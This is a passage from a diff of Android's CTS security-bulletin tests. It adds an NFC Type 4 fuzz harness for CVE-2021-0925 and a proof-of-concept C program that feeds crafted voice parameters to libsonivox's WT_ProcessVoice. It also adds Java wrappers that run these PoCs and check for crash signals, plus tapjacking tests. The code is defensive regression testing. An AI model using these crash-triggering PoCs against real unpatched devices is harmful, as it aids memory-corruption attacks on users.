+    FAIL_CHECK(fread(bufVector.data(), 1, size, file) == size);
+
+    const uint8_t *data = (const uint8_t *)bufVector.data();
+    auto Packets = UnpackPackets(data, size);
+    FAIL_CHECK(Packets.size() > 1);
+
+    auto &ctrl = Packets[0];
+    FAIL_CHECK(ctrl.size() > 1);
+
+    Type4_Fuzz(ctrl[1], Packets);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp
new file mode 100644
index 0000000..d807232
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/stubs.cpp
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'system/nfc/src/fuzzers/ce/stubs.cc' is used as reference to come up with file */
+
+#include "fuzz_cmn.h"
+
+// These are the functions implemented elsewhere in the NFC code. Our fuzzing
+// doesn't need them. To avoid pulling into more source code we simply stub
+// them out.
+
+tNFA_PROPRIETARY_CFG nfa_proprietary_cfg = {
+        0x80, /* NCI_PROTOCOL_18092_ACTIVE */
+        0x81, /* NCI_PROTOCOL_B_PRIME */
+        0x82, /* NCI_PROTOCOL_DUAL */
+        0x83, /* NCI_PROTOCOL_15693 */
+        0x8A, /* NCI_PROTOCOL_KOVIO */
+        0xFF, /* NCI_PROTOCOL_MIFARE */
+        0x77, /* NCI_DISCOVERY_TYPE_POLL_KOVIO */
+        0x74, /* NCI_DISCOVERY_TYPE_POLL_B_PRIME */
+        0xF4, /* NCI_DISCOVERY_TYPE_LISTEN_B_PRIME */
+};
+
+tNFA_PROPRIETARY_CFG* p_nfa_proprietary_cfg = (tNFA_PROPRIETARY_CFG*)&nfa_proprietary_cfg;
+
+void nfc_start_quick_timer(TIMER_LIST_ENT*, uint16_t, uint32_t) {}
+void nfc_stop_timer(TIMER_LIST_ENT*) {}
+void nfc_stop_quick_timer(TIMER_LIST_ENT*) {}
+uint8_t NFC_GetNCIVersion() {
+    return NCI_VERSION_2_0;
+}
+
+tNFC_STATUS NFC_SendData(uint8_t conn_id, NFC_HDR* p_data) {
+    uint8_t* p = (uint8_t*)(p_data + 1) + p_data->offset;
+    uint8_t len = (uint8_t)p_data->len;
+
+    FUZZLOG("conn_id=%d, data=%s", conn_id, BytesToHex(p, len).c_str());
+    GKI_freebuf(p_data);
+    return NFC_STATUS_OK;
+}
+
+uint8_t nci_snd_t3t_polling(uint16_t system_code, uint8_t rc, uint8_t tsn) {
+    FUZZLOG("sc=%04X, rc=%02X, tsn=%02X", system_code, rc, tsn);
+    return NFC_STATUS_OK;
+}
+
+tNFC_CONN_CBACK* rf_cback = nullptr;
+void NFC_SetStaticRfCback(tNFC_CONN_CBACK* p_cback) {
+    rf_cback = p_cback;
+}
+
+tNFC_STATUS NFC_ISODEPNakPresCheck() {
+    return NFC_STATUS_OK;
+}
+
+std::string NFC_GetStatusName(tNFC_STATUS status) {
+    switch (status) {
+        case NFC_STATUS_OK:
+            return "OK";
+        case NFC_STATUS_REJECTED:
+            return "REJECTED";
+        case NFC_STATUS_MSG_CORRUPTED:
+            return "CORRUPTED";
+        case NFC_STATUS_BUFFER_FULL:
+            return "BUFFER_FULL";
+        case NFC_STATUS_FAILED:
+            return "FAILED";
+        case NFC_STATUS_NOT_INITIALIZED:
+            return "NOT_INITIALIZED";
+        case NFC_STATUS_SYNTAX_ERROR:
+            return "SYNTAX_ERROR";
+        case NFC_STATUS_SEMANTIC_ERROR:
+            return "SEMANTIC_ERROR";
+        case NFC_STATUS_UNKNOWN_GID:
+            return "UNKNOWN_GID";
+        case NFC_STATUS_UNKNOWN_OID:
+            return "UNKNOWN_OID";
+        case NFC_STATUS_INVALID_PARAM:
+            return "INVALID_PARAM";
+        case NFC_STATUS_MSG_SIZE_TOO_BIG:
+            return "MSG_SIZE_TOO_BIG";
+        case NFC_STATUS_ALREADY_STARTED:
+            return "ALREADY_STARTED";
+        case NFC_STATUS_ACTIVATION_FAILED:
+            return "ACTIVATION_FAILED";
+        case NFC_STATUS_TEAR_DOWN:
+            return "TEAR_DOWN";
+        case NFC_STATUS_RF_TRANSMISSION_ERR:
+            return "RF_TRANSMISSION_ERR";
+        case NFC_STATUS_RF_PROTOCOL_ERR:
+            return "RF_PROTOCOL_ERR";
+        case NFC_STATUS_TIMEOUT:
+            return "TIMEOUT";
+        case NFC_STATUS_EE_INTF_ACTIVE_FAIL:
+            return "EE_INTF_ACTIVE_FAIL";
+        case NFC_STATUS_EE_TRANSMISSION_ERR:
+            return "EE_TRANSMISSION_ERR";
+        case NFC_STATUS_EE_PROTOCOL_ERR:
+            return "EE_PROTOCOL_ERR";
+        case NFC_STATUS_EE_TIMEOUT:
+            return "EE_TIMEOUT";
+        case NFC_STATUS_CMD_STARTED:
+            return "CMD_STARTED";
+        case NFC_STATUS_HW_TIMEOUT:
+            return "HW_TIMEOUT";
+        case NFC_STATUS_CONTINUE:
+            return "CONTINUE";
+        case NFC_STATUS_REFUSED:
+            return "REFUSED";
+        case NFC_STATUS_BAD_RESP:
+            return "BAD_RESP";
+        case NFC_STATUS_CMD_NOT_CMPLTD:
+            return "CMD_CMPLTD";
+        case NFC_STATUS_NO_BUFFERS:
+            return "NO_BUFFERS";
+        case NFC_STATUS_WRONG_PROTOCOL:
+            return "WRONG_PROTOCOL";
+        case NFC_STATUS_BUSY:
+            return "BUSY";
+        case NFC_STATUS_LINK_LOSS:
+            return "LINK_LOSS";
+        case NFC_STATUS_BAD_LENGTH:
+            return "BAD_LENGTH";
+        case NFC_STATUS_BAD_HANDLE:
+            return "BAD_HANDLE";
+        case NFC_STATUS_CONGESTED:
+            return "CONGESTED";
+        default:
+            return "UNKNOWN";
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp
new file mode 100644
index 0000000..5746a9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/t4t.cpp
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 'system/nfc/src/fuzzers/rw/t4t.cc' is used as reference to come up with file */
+
+#include "fuzz.h"
+
+#include "../includes/memutils.h"
+char enable_selective_overload = ENABLE_NONE;
+extern bool testInProgress;
+extern char* vulnPtr;
+
+#define MODULE_NAME "Type4 Read/Write"
+
+enum {
+    SUB_TYPE_DETECT_NDEF,
+    SUB_TYPE_READ_NDEF,
+    SUB_TYPE_UPDATE_NDEF,
+    SUB_TYPE_PRESENCE_CHECK,
+    SUB_TYPE_SET_READ_ONLY,
+    SUB_TYPE_FORMAT_NDEF,
+
+    SUB_TYPE_MAX
+};
+
+static void rw_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+    FUZZLOG(MODULE_NAME ": rw_cback: event=0x%02x, p_rw_data=%p", event, p_rw_data);
+
+    if (event == RW_T4T_RAW_FRAME_EVT) {
+        if (p_rw_data->raw_frame.p_data) {
+            GKI_freebuf(p_rw_data->raw_frame.p_data);
+            p_rw_data->raw_frame.p_data = nullptr;
+        }
+    } else if (event == RW_T4T_NDEF_READ_EVT || event == RW_T4T_NDEF_READ_CPLT_EVT) {
+        if (p_rw_data->data.p_data) {
+            GKI_freebuf(p_rw_data->data.p_data);
+            p_rw_data->data.p_data = nullptr;
+        }
+    }
+}
+
+#define TEST_NFCID_VALUE \
+    { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 }
+
+static bool Init(Fuzz_Context& /*ctx*/) {
+    tNFC_ACTIVATE_DEVT activate_params = {.protocol = NFC_PROTOCOL_ISO_DEP,
+                                          .rf_tech_param = {
+                                                  .mode = NFC_DISCOVERY_TYPE_POLL_A,
+                                          }};
+
+    rw_init();
+    if (NFC_STATUS_OK != RW_SetActivatedTagType(&activate_params, rw_cback)) {
+        FUZZLOG(MODULE_NAME ": RW_SetActivatedTagType failed");
+        return false;
+    }
+
+    return true;
+}
+
+static bool Init_PresenceCheck(Fuzz_Context& /*ctx*/) {
+    return NFC_STATUS_OK == RW_T4tPresenceCheck(1);
+}
+
+static bool Init_DetectNDef(Fuzz_Context& /*ctx*/) {
+    return NFC_STATUS_OK == RW_T4tDetectNDef();
+}
+
+static bool Init_ReadNDef(Fuzz_Context& /*ctx*/) {
+    return NFC_STATUS_OK == RW_T4tReadNDef();
+}
+
+static bool Init_UpdateNDef(Fuzz_Context& ctx) {
+    const uint8_t data[] = {0x01, 0x02, 0x03, 0x04, 0x01, 0x02, 0x03, 0x04,
+                            0x01, 0x02, 0x03, 0x04, 0x01, 0x02, 0x03, 0x04};
+
+    auto scratch = ctx.GetBuffer(sizeof(data), data);
+    return NFC_STATUS_OK == RW_T4tUpdateNDef(sizeof(data), scratch);
+}
+
+static bool Init_FormatNDef(Fuzz_Context& /*ctx*/) {
+    return NFC_STATUS_OK == RW_T4tFormatNDef();
+}
+
+static bool Init_SetNDefReadOnly(Fuzz_Context& /*ctx*/) {
+    return NFC_STATUS_OK == RW_T4tSetNDefReadOnly();
+}
+
+static bool Fuzz_Init(Fuzz_Context& ctx) {
+    if (!Init(ctx)) {
+        FUZZLOG(MODULE_NAME ": initialization failed");
+        return false;
+    }
+
+    bool result = false;
+    switch (ctx.SubType) {
+        case SUB_TYPE_DETECT_NDEF:
+            result = Init_DetectNDef(ctx);
+            break;
+        case SUB_TYPE_UPDATE_NDEF:
+            result = Init_UpdateNDef(ctx);
+            break;
+        case SUB_TYPE_PRESENCE_CHECK:
+            result = Init_PresenceCheck(ctx);
+            break;
+        case SUB_TYPE_READ_NDEF:
+            result = Init_ReadNDef(ctx);
+            break;
+        case SUB_TYPE_FORMAT_NDEF:
+            result = Init_FormatNDef(ctx);
+            break;
+        case SUB_TYPE_SET_READ_ONLY:
+            result = Init_SetNDefReadOnly(ctx);
+            break;
+        default:
+            FUZZLOG(MODULE_NAME ": Unknown command %d", ctx.SubType);
+            result = false;
+            break;
+    }
+
+    if (!result) {
+        FUZZLOG(MODULE_NAME ": Initializing command %02X failed", ctx.SubType);
+    }
+
+    return result;
+}
+
+static void Fuzz_Deinit(Fuzz_Context& /*ctx*/) {
+    if (rf_cback) {
+        tNFC_CONN conn = {.deactivate = {.status = NFC_STATUS_OK,
+                                         .type = NFC_DEACTIVATE_TYPE_IDLE,
+                                         .is_ntf = true,
+                                         .reason = NFC_DEACTIVATE_REASON_DH_REQ_FAILED}};
+
+        rf_cback(NFC_RF_CONN_ID, NFC_DEACTIVATE_CEVT, &conn);
+    }
+}
+
+static void Fuzz_Run(Fuzz_Context& ctx) {
+    for (auto it = ctx.Data.cbegin() + 1; it != ctx.Data.cend(); ++it) {
+        NFC_HDR* p_msg;
+
+        /* CVE-2021-0925 starts */
+        enable_selective_overload = ENABLE_ALL;
+        /* CVE-2021-0925 ends */
+
+        p_msg = (NFC_HDR*)GKI_getbuf(sizeof(NFC_HDR) + it->size());
+
+        /* CVE-2021-0925 starts */
+        vulnPtr = (char*)p_msg;
+        enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+        /* CVE-2021-0925 ends */
+
+        if (p_msg == nullptr) {
+            FUZZLOG(MODULE_NAME ": GKI_getbuf returns null, size=%zu", it->size());
+            return;
+        }
+
+        /* Initialize NFC_HDR */
+        p_msg->len = it->size();
+        p_msg->offset = 0;
+
+        uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset;
+        memcpy(p, it->data(), it->size());
+
+        tNFC_CONN conn = {.data = {
+                                  .status = NFC_STATUS_OK,
+                                  .p_data = p_msg,
+                          }};
+
+        FUZZLOG(MODULE_NAME ": SubType=%02X, Response[%zd/%zd]=%s", ctx.SubType,
+                it - ctx.Data.cbegin(), ctx.Data.size() - 1, BytesToHex(*it).c_str());
+
+        /* CVE-2021-0925 starts */
+        testInProgress = true;
+        /* CVE-2021-0925 ends */
+
+        rf_cback(NFC_RF_CONN_ID, NFC_DATA_CEVT, &conn);
+
+        /* CVE-2021-0925 starts */
+        testInProgress = false;
+        /* CVE-2021-0925 ends */
+    }
+}
+
+void Type4_FixPackets(uint8_t /*SubType*/, std::vector<bytes_t>& /*Data*/) {}
+
+void Type4_Fuzz(uint8_t SubType, const std::vector<bytes_t>& Data) {
+    Fuzz_Context ctx(SubType % SUB_TYPE_MAX, Data);
+    if (Fuzz_Init(ctx)) {
+        Fuzz_Run(ctx);
+    }
+
+    Fuzz_Deinit(ctx);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
index 7b410b7..a48d5b7 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp
@@ -16,7 +16,22 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2021-6685",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.c",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "external/sonivox/arm-wt-22k",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-DNUM_OUTPUT_CHANNELS=2",
+        "-DDLS_SYNTHESIZER",
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+        "-D_FILTER_ENABLED",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c
new file mode 100644
index 0000000..cf1ba59
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <host_src/eas_types.h>
+#include <lib_src/eas_wtengine.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <string.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#define MEM_ALIGNMENT 16
+#define PHASE_INCREMENT 555555
+
+typedef void (*fp_WT_Process_Voice)(S_WT_VOICE *, S_WT_INT_FRAME *);
+char enable_selective_overload = ENABLE_NONE;
+void *libHandle = NULL;
+void *phaseAccumPtr = NULL;
+
+void exit_Handler(void) {
+    if (phaseAccumPtr) {
+        free(phaseAccumPtr);
+    }
+    if (libHandle) {
+        dlclose(libHandle);
+    }
+}
+
+int main() {
+    atexit(exit_Handler);
+    libHandle = dlopen("libsonivox.so", RTLD_NOW | RTLD_LOCAL);
+    FAIL_CHECK(libHandle);
+    fp_WT_Process_Voice functionWTProcessVoice =
+        (fp_WT_Process_Voice)dlsym(libHandle, "WT_ProcessVoice");
+    FAIL_CHECK(functionWTProcessVoice);
+
+    S_WT_VOICE pWTVoice = {};
+    enable_selective_overload = ENABLE_MEMALIGN_CHECK;
+    pWTVoice.phaseAccum = (EAS_U32)memalign(MEM_ALIGNMENT, sizeof(EAS_I16));
+    FAIL_CHECK((void *)pWTVoice.phaseAccum);
+    phaseAccumPtr = ((void *)pWTVoice.phaseAccum);
+    enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+    pWTVoice.loopEnd = pWTVoice.phaseAccum;
+    pWTVoice.loopStart = pWTVoice.phaseAccum;
+
+    S_WT_INT_FRAME pWTIntFrame = {};
+    pWTIntFrame.frame.phaseIncrement = PHASE_INCREMENT;
+    EAS_PCM pAudioBuffer;
+    EAS_I32 pMixBuffer;
+    pWTIntFrame.pAudioBuffer = &pAudioBuffer;
+    pWTIntFrame.pMixBuffer = &pMixBuffer;
+    pWTIntFrame.numSamples = 1;
+
+    functionWTProcessVoice(&pWTVoice, &pWTIntFrame);
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 912ba28..c8e8cbf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -36,6 +36,7 @@
 import java.util.concurrent.TimeoutException;
 import java.util.List;
 import java.util.Map;
+import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
 import java.util.Scanner;
@@ -60,6 +61,12 @@
     final static int TIMEOUT_SEC = 9 * 60;
     final static String RESOURCE_ROOT = "/";
 
+    final static String regexSpecialChars = "<([{\\^-=$!|]})?*+.>";
+    @SuppressWarnings("InvalidPatternSyntax") // the errorprone test is incorrect for the following
+    final static String regexSpecialCharsEscaped = regexSpecialChars.replaceAll(".", "\\\\$0");
+    final static Pattern regexSpecialCharsEscapedPattern =
+            Pattern.compile("[" + regexSpecialCharsEscaped + "]");
+
     public static class pocConfig {
         String binaryName;
         String arguments;
@@ -485,7 +492,7 @@
      */
     public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments,
             ITestDevice device, int timeout) throws Exception {
-              runPocGetExitStatus(pocName, arguments, null, device, timeout);
+        runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout);
     }
 
     /**
@@ -751,4 +758,16 @@
     public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException {
         assumeTrue("nfc not available on device", device.hasFeature("android.hardware.nfc"));
     }
+
+    /**
+     * Escapes regex special characters in the given string
+     *
+     * @param testString string for which special characters need to be escaped
+     *
+     * @return string with escaped special charcters
+     */
+    public static String escapeRegexSpecialChars(String testString) {
+        Matcher m = regexSpecialCharsEscapedPattern.matcher(testString);
+        return m.replaceAll("\\\\$0");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
new file mode 100644
index 0000000..63a5370
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_183613671 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.BUG_183613671";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "BUG-183613671.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(
+                "not an Automotive device",
+                getDevice().hasFeature("feature:android.hardware.type.automotive"));
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 183613671)
+    public void testRunDeviceTestsPassesFull() throws Exception {
+        installPackage(TEST_APP);
+        // Grant permission to draw overlays.
+        getDevice().executeShellCommand(
+                "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+        getDevice().executeShellCommand("locksettings set-password test1234");
+        assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+
+        getDevice().executeShellCommand("locksettings clear --old test1234");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
new file mode 100644
index 0000000..e31cb47
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_183963253 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.BUG_183963253";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "BUG-183963253.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 183963253)
+    public void testRunDeviceTestsPassesFull() throws Exception {
+        installPackage(TEST_APP);
+
+        // Grant permission to draw overlays.
+        getDevice().executeShellCommand(
+                "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+
+        assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
new file mode 100644
index 0000000..df360d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9537 extends SecurityTestCase {
+
+    /**
+     * b/112891564
+     * Vulnerability Behaviour: SIGSEGV in self (Android P),
+     *                          SIGABRT in self (Android Q onward)
+     */
+    @AsbSecurityTest(cveBugId = 112891564)
+    @Test
+    public void testPocCVE_2018_9537() throws Exception {
+        String binaryName = "CVE-2018-9537";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        // example of check crash to skip:
+        // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
+        testConfig.config = new CrashUtils.Config()
+                .setProcessPatterns(binaryName)
+                .appendAbortMessageExcludes("CHECK\\(.*?\\)");
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
similarity index 74%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index b0f19ad..1bb5e0a4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -20,18 +20,17 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9547 extends SecurityTestCase {
 
    /**
-     * b/174738029
-     *
+     * b/114223584
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 114223584)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2018_9547() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9547", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
new file mode 100644
index 0000000..bf2b0d1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2018_9549 extends SecurityTestCase {
+
+    /**
+     * b/112160868
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 112160868)
+    @Test
+    public void testPocCVE_2018_9549() throws Exception {
+        String binaryName = "CVE-2018-9549";
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.config
+                .setAbortMessageIncludes(AdbUtils.escapeRegexSpecialChars("ubsan: mul-overflow"));
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
similarity index 69%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index b0f19ad..6e4d588 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -20,18 +20,19 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2018_9564 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/114238578
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 114238578)
